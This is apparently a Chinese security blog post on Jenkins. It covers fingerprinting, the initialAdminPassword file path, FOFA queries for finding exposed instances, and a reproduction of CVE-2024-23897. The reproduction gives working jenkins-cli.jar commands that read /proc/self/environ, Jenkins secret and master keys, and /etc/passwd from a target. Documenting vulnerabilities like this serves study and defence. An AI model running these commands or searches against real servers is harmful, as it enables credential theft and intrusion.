Jenkins CI-CD特征及漏洞复现
Jenkins是一个开源的自动化服务器。
Web特征
默认web界面在8080端口(可变):
默认是欢迎界面,其中包含了一个管家头像,右下角会显示其版本信息。
该产品存在标签页icon图标:
此产品存在默认账户admin,但密码随机生成后放置在 initialAdminPassword 文件中,linux中常见路径为:/var/lib/jenkins/secrets/initialAdminPassword
fofa语法:title="Dashboard [Jenkins]" && body="Jenkins <版本号>"、app="Jenkins"
漏洞复现
CVE-2024-23897(CLI 接口任意文件读取)
Jenkins使用args4j来解析命令行输入,并支持通过HTTP、Websocket等协议远程传入命令行参数。而args4j中用户可以通过@字符来加载任意文件,这导致攻击者可以通过该特性来读取服务器上的任意文件。
影响范围:Jenkins ≤ 2.441
fofa语法:app="Jenkins" && body="Jenkins 2.441"
复现示例
**此漏洞有两种方法进行复现*。
法一:利用jenkins-cli.jar手动执行
使用jenkins官方自带的jenkins-cli.jar工具进行操作,读取目标服务器的/proc/self/environ文件,可以找到Jenkins的基础目录,JENKINS_HOME=/var/jenkins_home:
java -jar jenkins-cli.jar -s http://target-ip:8080/ -http help 1 "@/proc/self/environ"

然后,可在该目录下读取敏感文件,如secrets.key or master.key(匿名情况下,只能通过命令行的报错读取文件的第一行):
java -jar jenkins-cli.jar -s http://target-ip:8080/ -http help 1 "@/var/jenkins_home/secret.key"
java -jar jenkins-cli.jar -s http://target-ip:8080/ -http help 1 "@/var/jenkins_home/secrets/master.key"

如果开启了“匿名用户可读”选项,也可以直接使用connect-node命令读取完整文件内容:
java -jar jenkins-cli.jar -s http://target-ip:8080/ -http connect-node "@/etc/passwd"

法二:自动化工具
工具:集成天狐渗透工具箱-社区版V2.0纪念版/Jenkins综合利用工具
此工具效果不佳,未检测到该漏洞:

浙公网安备 33010602011771号